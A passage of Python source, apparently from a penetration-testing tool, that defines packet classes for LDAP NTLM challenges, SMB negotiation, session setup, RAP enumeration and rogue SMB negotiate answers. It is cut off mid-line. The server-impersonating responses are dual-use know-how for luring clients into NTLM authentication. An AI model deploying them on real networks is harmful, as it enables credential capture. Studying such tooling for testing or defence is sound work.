("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", "SMB12"),
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "smb12"),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "SERVER2008"),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "smb12.local"),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "SERVER2008.smb12.local"),
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "smb12.local"),
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode first
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
###### LDAP Packet Len
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
##### LDAP Len Calculation:
self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
##### SMB Packets #####
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("errorcode", "\x00\x00\x00\x00"),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("wordcount", "\x00"),
("bcc", "\x62\x00"),
("data", "")
])
def calculate(self):
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("wordcount", "\x00"),
("bcc", "\x54\x00"),
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
])
def calculate(self):
CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])
CalculateBCC += str(self.fields["separator2"])+str(self.fields["dialect2"])
self.fields["bcc"] = struct.pack("<h", len(CalculateBCC))
class SMBSessionData(Packet):
fields = OrderedDict([
("wordcount", "\x0a"),
("AndXCommand", "\xff"),
("reserved","\x00"),
("andxoffset", "\x00\x00"),
("maxbuff","\xff\xff"),
("maxmpx", "\x02\x00"),
("vcnum","\x01\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("PasswordLen","\x18\x00"),
("reserved2","\x00\x00\x00\x00"),
("bcc","\x3b\x00"),
("AccountPassword",""),
("AccountName",""),
("AccountNameTerminator","\x00"),
("PrimaryDomain","WORKGROUP"),
("PrimaryDomainTerminator","\x00"),
("NativeOs","Unix"),
("NativeOsTerminator","\x00"),
("NativeLanman","Samba"),
("NativeLanmanTerminator","\x00"),
])
def calculate(self):
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
class SMBNegoFingerData(Packet):
fields = OrderedDict([
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("separator3","\x02"),
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("separator4","\x02"),
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("separator5","\x02"),
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("separator6","\x02"),
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\x00\x00"),
("Flags","\x08\x00"),
("PasswdLen", "\x01\x00"),
("Bcc","\x1b\x00"),
("Passwd", "\x00"),
("Path",""),
("PathTerminator","\x00"),
("Service","?????"),
("Terminator", "\x00"),
])
def calculate(self):
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
class RAPNetServerEnum3Data(Packet):
fields = OrderedDict([
("Command", "\xd7\x00"),
("ParamDescriptor", "WrLehDzz"),
("ParamDescriptorTerminator", "\x00"),
("ReturnDescriptor","B16BBDz"),
("ReturnDescriptorTerminator", "\x00"),
("DetailLevel", "\x01\x00"),
("RecvBuff","\xff\xff"),
("ServerType", "\x00\x00\x00\x80"),
("TargetDomain","SMB"),
("RapTerminator","\x00"),
("TargetName","ABCD"),
("RapTerminator2","\x00"),
])
class SMBTransRAPData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("TotalParamCount", "\x24\x00"),
("TotalDataCount","\x00\x00" ),
("MaxParamCount", "\x08\x00"),
("MaxDataCount","\xff\xff"),
("MaxSetupCount", "\x00"),
("Reserved","\x00\x00"),
("Flags", "\x00"),
("Timeout","\x00\x00\x00\x00"),
("Reserved1","\x00\x00"),
("ParamCount","\x24\x00"),
("ParamOffset", "\x5a\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x7e\x00"),
("SetupCount", "\x00"),
("Reserved2", "\x00"),
("Bcc", "\x3f\x00"),
("Terminator", "\x00"),
("PipeName", "\\PIPE\\LANMAN"),
("PipeTerminator","\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
else:
self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
##Data Len
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
class SMBNegoAnsLM(Packet):
fields = OrderedDict([
("Wordcount", "\x11"),
("Dialect", ""),
("Securitymode", "\x03"),
("MaxMpx", "\x32\x00"),
("MaxVc", "\x01\x00"),
("Maxbuffsize", "\x04\x41\x00\x00"),
("Maxrawbuff", "\x00\x00\x01\x00"),
("Sessionkey", "\x00\x00\x00\x00"),
("Capabilities", "\xfc\x3e\x01\x00"),
("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
("Srvtimezone", "\x2c\x01"),
("Keylength", "\x08"),
("Bcc", "\x10\x00"),
("Key", ""),
("Domain", "SMB"),
("DomainNull", "\x00\x00"),
("Server", "SMB-TOOLKIT"),
("ServerNull", "\x00\x00"),
])
def calculate(self):
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
self.fields["Server"] = self.fields["Server"].encode('utf-16le')
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
class SMBNegoAns(Packet):
fields = OrderedDict([
("Wordcount", "\x11"),
("Dialect", ""),
("Securitymode", "\x03"),
("MaxMpx", "\x32\x00"),
("MaxVc", "\x01\x00"),
("MaxBuffSize", "\x04\x41\x00\x00"),
("MaxRawBuff", "\x00\x00\x01\x00"),
("SessionKey", "\x00\x00\x00\x00"),
("Capabilities", "\xfd\xf3\x01\x80"),
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
("SrvTimeZone", "\xf0\x00"),
("KeyLen", "\x00"),
("Bcc", "\x57\x00"),
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
("InitContextTokenASNId", "\x60"),
("InitContextTokenASNLen", "\x5b"),
("ThisMechASNId", "\x06"),
("ThisMechASNLen", "\x06"),
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
("SpNegoTokenASNId", "\xA0"),
("SpNegoTokenASNLen", "\x51"),
("NegTokenASNId", "\x30"),
("NegTokenASNLen", "\x4f"),
("NegTokenTag0ASNId", "\xA0"),
("NegTokenTag0ASNLen", "\x30"),
("NegThisMechASNId", "\x30"),
("NegThisMechASNLen", "\x2e"),
("NegThisMech4ASNId", "\x06"),
("NegThisMech4ASNLen", "\x09"),
("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenTag3ASNId", "\xA3"),
("NegTokenTag3ASNLen", "\x1b"),
("NegHintASNId", "\x30"),
("NegHintASNLen", "\x19"),
("NegHintTag0ASNId", "\xa0"),
("NegHintTag0ASNLen", "\x17"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x15"),
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
])
def calculate(self):
CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
class SMBNegoKerbAns(Packet):
fields = OrderedDict([
("Wordcount", "\x11"),
("Dialect", ""),
("Securitymode", "\x03"),
("MaxMpx", "\x32\x00"),
("MaxVc", "\x01\x00"),
("MaxBuffSize", "\x04\x41\x00\x00"),
("MaxRawBuff", "\x00\x00\x01\x00"),
("SessionKey", "\x00\x00\x00\x00"),
("Capabilities", "\xfd\xf3\x01\x80"),
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
("SrvTimeZone", "\xf0\x00"),
("KeyLen", "\x00"),
("Bcc", "\x57\x00"),
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
("InitContextTokenASNId", "\x60"),
("InitContextTokenASNLen", "\x5b"),
("ThisMechASNId", "\x06"),
("ThisMechASNLen", "\x06"),
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
("SpNegoTokenASNId", "\xA0"),
("SpNegoTokenASNLen", "\x51"),
("NegTokenASNId", "\x30"),
("NegTokenASNLen", "\x4f"),
("NegTokenTag0ASNId", "\xA0"),
("NegTokenTag0ASNLen", "\x30"),
("NegThisMechASNId", "\x30"),
("NegThisMechASNLen", "\x2e"),
("NegThisMech1ASNId", "\x06"),
("NegThisMech1ASNLen", "\x09"),
("NegThisMech1ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
("NegThisMech2ASNId", "\x06"),
("NegThisMech2ASNLen", "\x09"),
("NegThisMech2ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
("NegThisMech3ASNId", "\x06"),
("NegThisMech3ASNLen", "\x0a"),
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
("NegThisMech4ASNId", "\x06"),
("NegThisMech4ASNLen", "\x09"),
("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenTag3ASNId", "\xA3"),
("NegTokenTag3ASNLen", "\x1b"),
("NegHintASNId", "\x30"),
("NegHintASNLen", "\x19"),
("NegHintTag0ASNId", "\xa0"),
("NegHintTag0ASNLen", "\x17"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x15"),
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
])
def calculate(self):
CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(se